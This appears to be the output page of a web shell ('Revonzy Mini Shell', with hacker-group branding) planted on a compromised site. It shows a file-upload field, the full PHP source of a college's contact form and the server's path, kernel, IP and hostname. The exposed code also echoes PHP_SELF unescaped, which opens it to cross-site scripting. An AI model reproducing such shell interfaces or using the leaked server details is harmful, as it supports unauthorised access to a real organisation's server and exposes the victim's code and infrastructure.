Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/pdpczare.com/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/pdpczare.com/contact.php

<?php
	require_once("admin/lib/functions.php");
	$db = new login_function();
	$name       =   "";
	$email_id   =   "";
	$contact_no =   0;
	$message    =   "";
	$flag       =    0;
	$error_counter = 0;
	
	$name_error	=	"";
	$email_error=	"";
	$contact_no_error = "";
	$message_error = "";
	
	if(isset($_POST['contact_btn']))
	{
		$name       =   $_POST['txtname'];
		$email_id   =   $_POST['txtemail'];
		$contact_no =   $_POST['txtcno'];
		$message    =   $_POST['txtmsg'];
		
		if($name=="")
		{
			$name_error	=	"Please enter name";
			$error_counter = 1;
		}
		else if(strlen($name) < 3)
		{
			$name_error	=	"Please enter valid name";
			$error_counter = 1;
		}
	
		if($email_id=="")
		{
			$email_error = "Please enter email id";
			$error_counter = 1;
		}
	
		if($contact_no=="")
		{
			$contact_no_error = "Please enter contact number";
			$error_counter = 1;
		}
		else if(!is_numeric($contact_no))
		{
			$contact_no_error = "Please enter valid contact number";
			$error_counter = 1;
		}
		else if(strlen($contact_no)<10 OR strlen($contact_no)>10)
		{
			$contact_no_error = "Please enter valid 10 digit contact no";
			$error_counter = 1;
		}
	
		if($message=="")
		{
			$message_error = "Please enter message";
			$error_counter = 1;
		}
		else if(strlen($message)<20)
		{
			$message_error = "Please enter minimum 20 characters";
			$error_counter = 1;
		}
	
		if($error_counter==0)
		{
			if($db->set_contact_data($name,$email_id,$contact_no,$message))
			{
				$flag  =  1;
			}
			else
			{
				$flag  =  2;
			}
		}
		
	}
	if(isset($_GET['success']))
	{
		$flag  =  1;
	}
?>



<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="description" content="">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
     <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>
    <!-- The above 4 meta tags *must* come first in the head; any other head content must come *after* these tags -->

    <!-- Title -->
    <title></title>

    <!-- Favicon -->
    <link rel="icon" href="img/core-img/favicon.ico">

    <!-- Core Stylesheet -->
    <link rel="stylesheet" href="style.css">
	<style>
body {
  
}

@media only screen and (max-width: 600px) {
  .img {
   width:20px;
   height:20px;
  }
}

@media only screen and (max-width: 1000px) {
  .img {
   width:20px;
   height:20px;
  }
  .tab_table {
	  margin:0px;
	  width:80%;
  }
}
</style>
<style>
.tab_table {
	  margin:0px;
	  width:80%;
	  padding:10px !important;
  }
	.tab_data
	{
		background:#880015;
		font-weight:bold;
		font-size:16px;
		color:white;
		border-right:1px solid black;
		text-align:center;
	}
	tr td
	{
		padding:10px !important;
		border:1px solid black;
		text-align:center;
		font-family:'Muli', sans-serif;
		color:black !important;
		font-size:16px;
		
	}
	th 
	{
		padding:10px;
	}
	.error_msgs
	{
		color:red;	
	}
	p
	{
	    font-size:16px;
	    color:#333333;
	}
	form input
	{
	    font-size:20px !important;
	    font-family:Times New Roman !important;
	}
	form textarea
	{
	    font-size:20px !important;
	    font-family:Times New Roman !important;
	}
</style>
</head>

<body>
    <!-- ##### Preloader ##### -->
    <div id="preloader">
        <i class="circle-preloader"></i>
    </div>

    <!-- ##### Header Area Start ##### -->
   <?php
	include('header.php');
   ?>
    <!-- ##### Header Area End ##### -->

    <!-- ##### Breadcumb Area Start ##### -->
    <div class="breadcumb-area bg-img">
		<div class="bg-img main_breadcrumb_area">
			<h2>Contact Us</h2>
		</div>
    </div>
    <section class="contact-area">
        <div class="container">
            <div class="row">
                <div class="col-12">
                    <div class="contact-content" style="background-color:#FFFFFF !important; margin-top:0px; margin-bottom:0px; position:static;">
                        <div class="row">
                            <!-- Contact Information -->
                            <div class="col-12 col-lg-5">
                                <div class="contact-information wow fadeInUp" data-wow-delay="200ms">
									
                                    <!--<div class="section-heading text-left">
                                    
                                        <h3 style="color:#333333;">Contact Us</h3>
                                       
                                    </div>-->

                                 
                                 
                                    <!-- Single Contact Info -->
                                    <div class="single-contact-info d-flex" style="color:#333333 !important;">
                                        <div class="contact-icon mr-15">
                                            <i class="icon-placeholder" style="color:#333333; font-size:20px;"></i>
                                        </div>
                                        <p style="color:#333333; font-size:20px;"><strong>Address</strong><br> 
                                        Tambari Vibhag, Vidya Nagar, Near Akashwani Center, Osmanabad 413501.</p>
                                    </div>

                                    <!-- Single Contact Info -->
                                    <div class="single-contact-info d-flex">
                                        <div class="contact-icon mr-15">
                                            <i class="icon-telephone-1" style="color:#333333; font-size:20px;"></i>
                                        </div>
                                        <p style="color:#333333; font-size:20px;"><strong>Office:</strong> 02472-222231 <strong>(Resi.)</strong> 223455</p>
                                    </div>

                                    <!-- Single Contact Info -->
                                    <div class="single-contact-info d-flex">
                                        <div class="contact-icon mr-15">
                                            <i class="icon-contract" style="color:#333333; font-size:20px;"></i>
                                        </div>
                                        <p style="color:#333333; font-size:20px;"><strong>Email Id :</strong> osdrpcollege@yahoo.com</p>
                                    </div>
                                </div>
                            </div>
                            <!-- Contact Form Area -->
                            <div class="col-12 col-lg-7">
                                <div class="contact-form-area wow fadeInUp" data-wow-delay="500ms">
									
									<?php
										if($flag==1)
										{
									?>
									<div class="alert alert-success">
									<strong>Success!</strong> Your message sent sucessfully
									</div>

											
									<?php
									}
									else if($flag==2)
									{
									?>
									<div class="alert alert-danger">
									<strong>Failed!</strong> Sorry, Your message not sent
									</div>
											
									<?php
										}									
									?>
                                    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
                                        <input type="text" class="form-control" id="name"  name="txtname" placeholder="Name">
										<span class="error_msgs"><?php echo $name_error; ?></span>
                                        <input type="email" class="form-control" id="email" name="txtemail" placeholder="E-mail">
										<span class="error_msgs"><?php echo $email_error; ?></span>
										<input type="text" class="form-control" id="email" name="txtcno"  placeholder="Contact No">
										<span class="error_msgs"><?php echo $contact_no_error; ?></span>
                                        <textarea name="txtmsg" class="form-control" id="message" cols="30" rows="10" placeholder="Message"></textarea>
										<span class="error_msgs"><?php echo $message_error; ?></span>
                                        <button name="contact_btn" class="btn academy-btn mt-30" type="submit" style="font-size:22px;">Contact Us</button>
                                    </form>
                                </div>
                            </div>
							
				
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>
	
	 <div class="map-area wow fadeInUp" data-wow-delay="300ms">
		<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d121299.99862146458!2d75.94786088663403!3d18.181182799619314!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3bc5a3d1353fe101%3A0xdaadede2da4a21fe!2sRP%20College!5e0!3m2!1sen!2sin!4v1689968929916!5m2!1sen!2sin" width="100%" height="500" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe>
    </div>
	
    <!-- ##### About Us Area End ##### -->

    <!-- ##### Team Area Start ##### -->
  
    <!-- ##### Footer Area Start ##### -->
    <?php
		include('footer.php');
	?>
    <!-- ##### Footer Area Start ##### -->

    <!-- ##### All Javascript Script ##### -->
    <!-- jQuery-2.2.4 js -->
    <script src="js/jquery/jquery-2.2.4.min.js"></script>
    <!-- Popper js -->
    <script src="js/bootstrap/popper.min.js"></script>
    <!-- Bootstrap js -->
    <script src="js/bootstrap/bootstrap.min.js"></script>
    <!-- All Plugins js -->
    <script src="js/plugins/plugins.js"></script>
    <!-- Active js -->
    <script src="js/active.js"></script>
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4